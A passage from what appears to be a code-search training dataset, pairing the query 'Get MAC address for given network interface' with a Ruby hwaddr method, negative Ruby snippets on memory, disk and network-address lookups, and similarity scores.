"def percent_resources_used\n guests = self.xen_guests.map{|xm| m = xm.guest.machine; [m.ram, m.cpu_cores ]}.transpose.map{|c| c.sum }\n return [ 0, 0] if guests.empty?\n my_resources = [machine.ram,machine.cpu ]\n\n if my_resources.first == 0 or my_resources.last == 0 then\n return [ 0, 0] \n end\n \n# => [17152, 23]\n#>> [xen.model.ram, xen.model.cpu ]\n#=> [32768, 8]\n#>> (17152.to_f / 32768.to_f * 100) .to_i\n#=> 52\n#>> [ [17152, 23], [32768, 8]].transpose.map{|r| (r.first.to_f / r.last.to_f * 100).to_i }\n [ guests , my_resources ].transpose.map{|r| (r.first.to_f / r.last.to_f * 100).to_i }\n end",
"def to_gb\n self / 1073741824\n end",
"def get_memory_mib\n return @m_memory_mib\n end",
"def totalGei()\n\t\t\t\t# geiPer1000g = geiPerKg / 1000\n\t\t\t\t# geiPerXgrams = (geiPer1000g * Xgrams) / 1000\n\n\t\t\t\tplato = alimentsList.head\n\t\t\t\tgrams = gramsList.head\n\n\t\t\t\ttotalGetC = 0.0\n\n\t\t\t\twhile plato != nil\n\t\t\t\t\tgeiPer1000g = plato.value.geiPerKg()\n\t\t\t\t\tgeiPerXgrams = (geiPer1000g * grams.value) / 1000\n\n\t\t\t\t\ttotalGetC += geiPerXgrams\n\n\t\t\t\t\tplato = plato.next\n\t\t\t\t\tgrams = grams.next\n\t\t\t\tend\n\n\t\t\t\treturn totalGetC\n\t\t\tend",
"def allocated_storage\n data[:allocated_storage]\n end",
"def allocated_storage\n data[:allocated_storage]\n end",
"def current_proc_used_mem\n #pid, size = `ps ax -o pid,rss | grep -E \"^[[:space:]]*#{$$}\"`.strip.split.map(&:to_i)\n #`ps -o rss -p #{$$}`.chomp.split(\"\\n\").last.to_i\n #`ps -o rss -p #{$$}`.strip.split.last.to_i * 1024\n `ps -o rss= -p #{Process.pid}`.to_i \nend",
"def allocations\n @allocation_count_finish - @allocation_count_start\n end",
"def size\n\t\treturn @m.capacity\n\tend",
"def used(extended: false)\n total(extended: extended) - free(extended: extended)\n end",
"def current_memory\n nil\n end",
"def percent_available\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tmemory = IO.foreach('/proc/meminfo').first(3)\n\t\t\t\tmemory[2].split[1].to_i.*(100).fdiv(memory[0].split[1].to_i).round(2)\n\t\t\tend",
"def size\n vm.hardware_profile.vm_size\n end",
"def get_physical_memory\n # only support Linux and FreeBSD right now\n os = Facter['kernel']\n return if os.nil? or (os.value != 'Linux' and os.value != 'FreeBSD')\n\n physical_memory = 0\n dmi_data = get_dmi_data\n\n return if dmi_data.nil? or dmi_data['Memory Device'].nil?\n\n dmi_data['Memory Device'].each do |mem_dev|\n\n size = mem_dev['Size']\n form_factor = mem_dev['Form Factor']\n locator = mem_dev['Locator']\n # Some systems report little chunks of memory other than\n # main system memory as Memory Devices, the 'DIMM' as\n # form factor seems to indicate main system memory.\n # Unfortunately some DIMMs are reported with a form\n # factor of '<OUT OF SPEC>'. In that case fall back to\n # checking for signs of it being a DIMM in the locator\n # field.\n if (size != 'No Module Installed' &&\n ((form_factor == 'DIMM' || form_factor == 'FB-DIMM' || form_factor == 'SODIMM') ||\n (form_factor == '<OUT OF SPEC>' && locator =~ /DIMM/)))\n megs, units = size.split(' ')\n\n next if units != 'MB'\n physical_memory += megs.to_i;\n end\n end\n physical_memory\n end",
"def size\n\t\t\treturn @m.capacity\n\t\tend",
"def bytes_processed\n Integer @gapi.statistics.query.total_bytes_processed\n rescue StandardError\n nil\n end",
"def max_allocated_storage\n data[:max_allocated_storage]\n end",
"def get_gpu_memory_usage(json_result, slot)\n gpu_memory_useage = json_result['Devices'][slot]['Utilization']['Memory']\n return gpu_memory_useage\nend",
"def free_space(quota, used)\n data = {}\n quota.each do |k, v|\n data[k] = v - used[k] if v && used[k]\n end\n data\n end",
"def available_space\n if is_data_center?\n 99_999_999\n else\n @available_space\n end\n end",
"def memsize; RAtlas::memsize(@storage);end",
"def ruby_gc_heap_growth_max_factor\n 0\n end",
"def determine_memory\n result = @info[:memory] = {}\n\n free_cmd = \"free -m|awk '$1 ~ /Mem/ {print $2, $2-$6-$7}; $1 ~ /Swap/ \" \\\n \"{print $3}'|xargs\"\n mem = @shell.query('MEMORY', free_cmd)\n total, used, swap = mem.split(/\\s+/)\n\n result[:total] = total.to_i\n result[:mem_used] = used.to_i\n result[:swap_used] = swap.to_i\n result[:swapping?] = swqp.to_i > 0\n end",
"def ruby_gc_heap_free_slots\n 4096\n end",
"def storage_throughput\n data[:storage_throughput]\n end",
"def disk_current_size\n\t\treturn 1024\n\tend",
"def d_size\n @diskObj.info[:capacity]\n end",
"def used_bytes\n size = 0\n unless empty?\n actual_node = @tail_node\n while actual_node != nil do\n size += actual_node.value.value.length\n actual_node = actual_node.next_node\n end\n end\n size\n end",
"def getG\r\n return @g\r\n end",
"def used_memory\n @rss_reader.rss\n end",
"def default_size\n @total_memory ? @total_memory * @weighting : nil\n end",
"def size_mb \n return size / 1048576 # (1024 * 1024) \n end",
"def total\n 2**64 - 1\n end",
"def increase_used\n self[:numUsed] += 1\n end",
"def memory_percent(attrs, memtotal)\n if attrs[:vmrss]\n return (attrs[:vmrss].to_f / memtotal.to_f * 100).round(2)\n else\n nil\n end\n end",
"def cache_current_size\n\n @cache.size\n end",
"def disk_space_usage(folder)\n space = `df -P '#{folder}' | grep -o \"[0-9]*%\" | cut -c 1-2`\n space\n end",
"def get_allocated_cells\n\t\tallocated_cells = 0.0;\n\t\t@cells.each { |i| i.each { |j| allocated_cells += 1 if j.type != Cell::BLOCKED } }\n\t\treturn (allocated_cells*Dungeon::ROOM_ALLOCATION_WEIGHT).floor\n\tend"
] | [
"0.8192482",
"0.74618405",
"0.73698425",
"0.725158",
"0.72443634",
"0.7104819",
"0.7021407",
"0.6937105",
"0.69258064",
"0.68833137",
"0.68330634",
"0.68243206",
"0.68224776",
"0.67919606",
"0.67892736",
"0.6735222",
"0.6727308",
"0.66770434",
"0.66379344",
"0.6554792",
"0.6521979",
"0.6497944",
"0.6494842",
"0.6493301",
"0.64859813",
"0.64777184",
"0.6458357",
"0.640194",
"0.6398983",
"0.63752306",
"0.6363092",
"0.6346203",
"0.63422424",
"0.63390946",
"0.6332361",
"0.63314956",
"0.6328762",
"0.6304529",
"0.6302746",
"0.62856644",
"0.6282722",
"0.6280968",
"0.6280332",
"0.6279123",
"0.6277429",
"0.6277295",
"0.6245435",
"0.6242895",
"0.6225586",
"0.62165534",
"0.62156355",
"0.62138855",
"0.6203313",
"0.62031364",
"0.61925036",
"0.61858463",
"0.61658007",
"0.6165027",
"0.61550015",
"0.6133784",
"0.6117767",
"0.6117194",
"0.61171687",
"0.6116902",
"0.61164427",
"0.6115835",
"0.61064607",
"0.61064607",
"0.60982275",
"0.6094334",
"0.6091651",
"0.60630167",
"0.604288",
"0.6032204",
"0.60298955",
"0.602697",
"0.6015896",
"0.60059977",
"0.5988255",
"0.5988162",
"0.5974532",
"0.597179",
"0.596813",
"0.5929511",
"0.592825",
"0.5901332",
"0.58859277",
"0.5882343",
"0.5861976",
"0.5856653",
"0.58460206",
"0.5834357",
"0.5833182",
"0.5832064",
"0.5827388",
"0.5827209",
"0.58268636",
"0.58233696",
"0.58230585",
"0.58204424"
] | 0.8770565 | 0 |
Get MAC address for given network interface | def hwaddr(iface=nil)
@hwaddr[iface || default_iface]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end",
"def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end",
"def mac_eth0\n eth0.mac_address\n end",
"def read_mac_address\n hw_info = read_settings.fetch('Hardware', {})\n shared_ifaces = hw_info.select do |name, params|\n name.start_with?('net') && params['type'] == 'shared'\n end\n\n raise Errors::SharedInterfaceNotFound if shared_ifaces.empty?\n\n shared_ifaces.values.first.fetch('mac', nil)\n end",
"def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end",
"def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend",
"def read_mac_address\n execute(:get_network_mac, VmId: vm_id)\n end",
"def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end",
"def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end",
"def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end",
"def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend",
"def get_mac_address_of_nic_on_requested_vlan\n args = {\n :value_of_vlan_option => get_option(:vlan),\n :dest_cluster => dest_cluster,\n :destination => destination\n }\n source.ext_management_system.ovirt_services.get_mac_address_of_nic_on_requested_vlan(args)\n end",
"def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end",
"def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end",
"def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end",
"def tap_mac\n\t\t@sock.local_address.to_sockaddr[-6,6]\n\tend",
"def tap_mac\n\t\t@sock.local_address.to_sockaddr[-6,6]\n\tend",
"def ip_by_interface(int)\n return `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n end",
"def multicast_mac(options=nil)\n known_args = [:Objectify]\n objectify = false\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n if (@version == 4)\n if (@ip & 0xf0000000 == 0xe0000000)\n # map low order 23-bits of ip to 01:00:5e:00:00:00\n mac = @ip & 0x007fffff | 0x01005e000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv4 multicast \" +\n \"addresses should be in the range 224.0.0.0/4.\"\n end\n else\n if (@ip & (0xff << 120) == 0xff << 120)\n # map low order 32-bits of ip to 33:33:00:00:00:00\n mac = @ip & (2**32-1) | 0x333300000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv6 multicast \" +\n \"addresses should be in the range ff00::/8.\"\n end\n end\n\n eui = NetAddr::EUI48.new(mac)\n eui = eui.address if (!objectify)\n\n return(eui)\n end",
"def getNetwork(interface)\n net = Nokogiri::XML(\"#{interface}\").xpath(\"//ip\")\n if !net.empty?\n ip = net.attr('address').value\n netmask = net.attr('netmask').value\n end\n return ip, netmask\n end",
"def get_ipmi_mac_address(channel)\n mac = get_ipmi_field(channel, 'MAC Address')\n mac or raise Puppet::Error.new(\"Unable to get IPMI MAC address\")\n end",
"def mac_address\n mac = nil\n\n ovf.elements.each(\"//vbox:Machine/Hardware//Adapter\") do |ele|\n if ele.attributes['enabled'] == 'true'\n mac = ele.attributes['MACAddress']\n break\n end\n end\n\n if mac\n return mac\n else\n raise Errors::BoxAttributeError, :error_message => 'Could not determine mac address'\n end\n end",
"def getIP(interface)\n cmd = `ip addr show #{interface}`\n ip = cmd.match(/inet ((\\d{1,3}\\.){3}\\d{1,3})\\/\\d{1,2}/).captures\n @log.debug \"IP of interface '#{interface}' is: #{ip.first}\"\n return ip.first\n end",
"def ip_by_interface(int)\n ip = `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n return ip\n end",
"def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end",
"def read_mac_address\n execute(\"showvminfo\", @uuid, \"--machinereadable\").split(\"\\n\").each do |line|\n return $1.to_s if line =~ /^macaddress1=\"(.+?)\"$/\n end\n\n nil\n end",
"def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end",
"def read_mac_address\n end",
"def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end",
"def hwaddr\n begin\n exists? && IO.read(\"/sys/class/net/#{name}/address\").strip\n rescue Errno::ENOENT\n end.tap do |address|\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless address\n end\n end",
"def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end",
"def ip\n arp = Cheetah.run([\"arp\", \"-n\"], stdout: :capture)\n entry = arp.lines.find { |a| a.include?(mac) }\n return nil if entry.nil?\n entry.split(\" \")[0]\n end",
"def id\n m = /ether\\s+(\\S+)/.match(`ifconfig wlan0`)\n return nil if m.nil?\n mac = m[1] # WLAN mac address\n return nil if mac.nil?\n MAC2ID[mac.downcase]\n end",
"def ip_by_mac(mac)\n %x{arp -a | grep #{mac}}.split(' ')[1].to_s.sub('(', '').sub(')', '')\nend",
"def interface_by_ip(ip)\n return `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n end",
"def ip6addr(iface=nil)\n @ip6addr[iface || default_iface]\n end",
"def empirical_mac(entry)\n ping = Mixlib::ShellOut.new('ping', entry[:ip_address], '-c', '1')\n ping.run_command\n unless ping.status.success?\n puts \"Ping to #{entry[:hostname]} (#{entry[:ip_address]}) failed, \" \\\n 'checking ARP anyway.'\n end\n\n arp = Mixlib::ShellOut.new('arp', '-an')\n arp.run_command\n arp_entry = arp.stdout.split(\"\\n\")\n .map(&:chomp)\n .select { |l| l.include?(entry[:ip_address]) }\n .first\n match_data =\n /(\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w) .ether./.match(arp_entry.to_s)\n if !match_data.nil? && match_data.captures.count == 1\n mac = match_data[1]\n puts \"Found #{mac} for #{entry[:hostname]} (#{entry[:ip_address]})\"\n mac\n else\n raise 'Could not find ARP entry for ' \\\n \"#{entry[:hostname]} (#{entry[:ip_address]})!\"\n end\n end",
"def mac\n @attributes.fetch('mac', nil)\n end",
"def get_fusion_vm_mac(options)\n options['mac'] = \"\"\n options['search'] = \"ethernet0.address\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n if not options['mac']\n options['search'] = \"ethernet0.generatedAddress\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n end\n return options['mac']\nend",
"def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend",
"def setMAC(mac, intf=nil)\n \"\"\"Set the MAC address for an interface.\n intf: intf or intf name\n mac: MAC address as string\"\"\"\n return intf(intf).setMAC(mac)\n end",
"def get_network_by_interface(interface)\n\n ifconfig = `ifconfig`.split(\"\\n\\n\").index_by{|x| x[/\\w+/,0]}\n inet = ifconfig[interface][/inet addr:([^\\s]*)/, 1].split('.')\n broadcast = ifconfig[interface][/Bcast:([^\\s]*)/, 1].split('.')\n mask = ifconfig[interface][/Mask:([^\\s]*)/, 1].split('.')\n\n start_first = inet[0].to_i & mask[0].to_i\n start_second = inet[1].to_i & mask[1].to_i\n start_third = inet[2].to_i & mask[2].to_i\n start_fourth = inet[3].to_i & mask[3].to_i\n\n first_range = start_first..broadcast[0].to_i\n second_range = start_second..broadcast[1].to_i\n third_range = start_third..broadcast[2].to_i\n fourth_range = start_fourth..broadcast[3].to_i\n \n @ips_to_check = []\n first_range.each do |first|\n second_range.each do |second|\n third_range.each do |third|\n fourth_range.each do |fourth|\n @ips_to_check << \"#{first}.#{second}.#{third}.#{fourth}\"\n end\n end\n end\n end\n puts \"Checking ips in (#{first_range}).(#{second_range}).(#{third_range}).(#{fourth_range})\"\n \n @ips_to_check\n end",
"def address\n @mac_address ||= addresses.first\n end",
"def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end",
"def arp_dest_mac; self[:arp_dest_mac].to_s; end",
"def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end",
"def mac_address(prefix: T.unsafe(nil)); end",
"def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end",
"def interface_by_ip(ip)\n int = `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n return int\n end",
"def bcast_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n output = iface.name + ':' + iface.inspect\n int = ('Address:' + ' ' + output.split[1] + ' ' + output.split[3..4].to_s)\n puts int.gsub('?', '0')\n end\nend",
"def arp_dest_mac= i; typecast \"arp_dest_mac\", i; end",
"def arp_src_mac; self[:arp_src_mac].to_s; end",
"def arp_saddr_mac\n\t\tEthHeader.str2mac(self[:arp_src_mac].to_s)\n\tend",
"def get_network_name(ip)\n cmd_out = `netsh interface ip show config`\n network_details = cmd_out.split(/^$/).reject(&:empty?).select do |settings|\n begin\n lines = settings.split(/\\n/).reject(&:empty?)\n subnet = lines[3]\n next false unless subnet =~ /Subnet Prefix/\n\n mask = IPAddr.new(subnet.match(%r{.* (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.\\d{1,3}/\\d{1,3}).*}).captures[0])\n address = IPAddr.new(ip)\n\n mask.include?(address)\n rescue StandardError\n false\n end\n end\n return nil if network_details[0].nil? || network_details[0].empty?\n\n network_details[0].split(/\\n/).reject(&:empty?)[0].match(/Configuration for interface \"(.*)\"/).captures[0].strip\n end",
"def mac_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n line=File.new(vmx_path).grep(/^ethernet0.generatedAddress =/)\n if line.nil?\n #Fission.ui.output \"Hmm, the vmx file #{vmx_path} does not contain a generated mac address \"\n return nil\n end\n address=line.first.split(\"=\")[1].strip.split(/\\\"/)[1]\n return address\n end",
"def lookup(mac, opts = {})\n lapsed!\n data = prefix_table[Address.new(mac).prefix]\n if data.nil?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for MAC: #{mac}\") : (return nil)\n end\n Address.new(mac, data)\n end",
"def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end",
"def arp_src_mac= i; typecast \"arp_src_mac\", i; end",
"def intface_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n p iface.netmask\n end\nend",
"def mac\n config[\"mac\"]\n end",
"def network_interface_id\n data[:network_interface_id]\n end",
"def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end",
"def default_ip_command\n %q( awk \"/$mac/ {print \\$1}\" /proc/net/arp )\n end",
"def get_gdom_mac(options)\n message = \"Information:\\tGetting guest domain \"+options['name']+\" MAC address\"\n command = \"ldm list-bindings #{options['name']} |grep '#{options['vmnic']}' |awk '{print $5}'\"\n output = execute_command(options,message,command)\n options['mac'] = output.chomp\n return options['mac']\nend",
"def get_vbox_vm_mac(client_name)\n message = \"Getting:\\tMAC address for \"+client_name\n command = \"VBoxManage showvminfo #{client_name} |grep MAC |awk '{print $4}'\"\n vbox_vm_mac = execute_command(message,command)\n vbox_vm_mac = vbox_vm_mac.chomp\n vbox_vm_mac = vbox_vm_mac.gsub(/\\,/,\"\")\n return vbox_vm_mac\nend",
"def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end",
"def get_network_info(node_hash, network_interface)\n # Get node_hash[\"network_adapters\"][network_interface][\"ip\"] and node_hash[\"network_adapters\"][network_interface][\"mac\"]\n node_network_adapters = node_hash.fetch(\"network_adapters\")\n \n # For the production network, find the mounted interface (either eth0 or eth1)\n neti = network_interface\n if neti == \"eth\" then\n (0..4).each {|i|\n if node_network_adapters.fetch(\"eth#{i}\").fetch(\"mounted\")\n neti = \"eth#{i}\"\n break\n end\n }\n raise 'none of the eth[0-4] interfaces have the property \"mounted\" set to \"true\"' if neti == 'eth'\n end\n \n node_network_interface = node_network_adapters.fetch(neti)\n \n raise '\"mac\" is nil' unless node_mac = node_network_interface.fetch(\"mac\")\n raise '\"ip\" is nil' unless node_ip = node_network_interface.fetch(\"ip\")\n \n return [node_ip, node_mac]\nend",
"def ipaddr(iface=nil)\n @ipaddr[iface || default_iface]\n end",
"def get_guid(network_name)\n cmd_out = `netsh lan show interfaces`\n interface_details = cmd_out.split(/\\n\\n/).select { |settings| settings.match(/#{Regexp.quote(network_name)}/m) }\n return nil if interface_details.empty?\n\n interface_details[0].split(/\\n/)[2].match(/.*:(.*)/).captures[0].strip\n end",
"def mac\n options[:mac]\n end",
"def lookup_eth(addr=nil,iface=nil)\n\t\traise RuntimeError, \"Could not access the capture process.\" if not self.arp_capture\n\n\t\tself.arp_cache ||= {}\n\t\tself.dst_cache ||= {}\n\n\t\treturn self.dst_cache[addr] if self.dst_cache[addr]\n\n\t\tif ! self.arp_cache[Rex::Socket.source_address(addr)]\n\t\t\tprobe_gateway(addr)\n\t\tend\n\n\t\tsrc_mac = self.arp_cache[Rex::Socket.source_address(addr)]\n\t\tunless should_arp?(addr)\n\t\t\tdst_mac = self.arp_cache[:gateway]\n\t\telse\n\t\t\tdst_mac = self.arp_cache[addr] || arp(addr)\n\t\tend\n\n\t\tself.dst_cache[addr] = [dst_mac,src_mac]\n\tend",
"def interface_name\n case @interface\n when nil then 'nil'\n when DNSSD::InterfaceAny then 'any'\n when DNSSD::InterfaceLocalOnly then 'local'\n when DNSSD::InterfaceUnicast then 'unicast'\n else @interface\n end\n end",
"def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end",
"def reg_binary_to_mac(mac_v)\n\t\tbssid = mac_v.data.to_s.unpack(\"H*\")[0]\n\t\tbssid.insert(2,\":\")\n\t\tbssid.insert(5,\":\")\n\t\tbssid.insert(8,\":\")\n\t\tbssid.insert(11,\":\")\n\t\tbssid.insert(14,\":\")\n\t\treturn bssid\n\tend",
"def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end",
"def mac_address\n super\n end",
"def get_interface \n\t@interface = \"\"\n\tuntil @interface != \"\" and $? == 0 do print @start,\"WIRELESS INTERFACE?\".light_yellow,@prompt\n\t@interface = gets.chomp\n\t`ifconfig #@interface`\n\tend\nend",
"def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end",
"def eui_64(mac)\n if @family != Socket::AF_INET6\n raise Exception, \"EUI-64 only makes sense on IPv6 prefixes.\"\n elsif self.length != 64\n raise Exception, \"EUI-64 only makes sense on 64 bit IPv6 prefixes.\"\n end\n if mac.is_a? Integer\n mac = \"%:012x\" % mac\n end\n if mac.is_a? String\n mac.gsub!(/[^0-9a-fA-F]/, \"\")\n if mac.match(/^[0-9a-f]{12}/).nil?\n raise ArgumentError, \"Second argument must be a valid MAC address.\"\n end\n e64 = (mac[0..5] + \"fffe\" + mac[6..11]).to_i(16) ^ 0x0200000000000000\n IPAddr.new(self.first.to_i + e64, Socket::AF_INET6)\n end\n end",
"def get_interface_name(device_name)\n\tdesc = device_name + '\\$'\n\tcmd = \"ifconfig -a | grep -B 1 #{desc} | head -n1 | awk -F: '{print $1}'\"\n\tresult = execute(false, cmd)\n end",
"def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end",
"def ethernet_layer_one(iface)\n return iface unless ethtool_binary_path\n\n keys = %w{Speed Duplex Port Transceiver Auto-negotiation MDI-X}\n iface.each_key do |tmp_int|\n next unless iface[tmp_int][:encapsulation] == \"Ethernet\"\n\n so = shell_out(\"#{ethtool_binary_path} #{tmp_int}\")\n so.stdout.lines do |line|\n line.chomp!\n logger.trace(\"Plugin Network: Parsing ethtool output: #{line}\")\n line.lstrip!\n k, v = line.split(\": \")\n next unless keys.include? k\n\n k.downcase!.tr!(\"-\", \"_\")\n if k == \"speed\"\n k = \"link_speed\" # This is not necessarily the maximum speed the NIC supports\n v = v[/\\d+/].to_i\n end\n iface[tmp_int][k] = v\n end\n end\n iface\n end",
"def node_mac(name)\n %x{grep 'mac address' /etc/libvirt/qemu/#{name}.xml 2>/dev/null}.match(/((..:){5}..)/).to_s\nend",
"def detect_ip\n mac = vm_info['VM']['TEMPLATE']['NIC']['MAC']\n 20.times do\n debug 'Trying to get IP...'\n out = `echo '#{config[:local_sudo_pass]}' | sudo -S nmap -sP -n 153.15.248.0/21`\n out = out.lines\n index = out.find_index { |s| s =~ /.*#{mac}.*/i }\n if index\n return out.to_a[index - 2].scan(/[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/)[0]\n end\n end\n warn \"Can't locate VM ip\"\n nil\n end",
"def ip\n if ifconfig =~ /inet addr:([0-9.]+)/\n $1\n else\n \"0.0.0.0\"\n end\n end",
"def arp_daddr_mac\n\t\tEthHeader.str2mac(self[:arp_dest_mac].to_s)\n\tend",
"def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end",
"def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end",
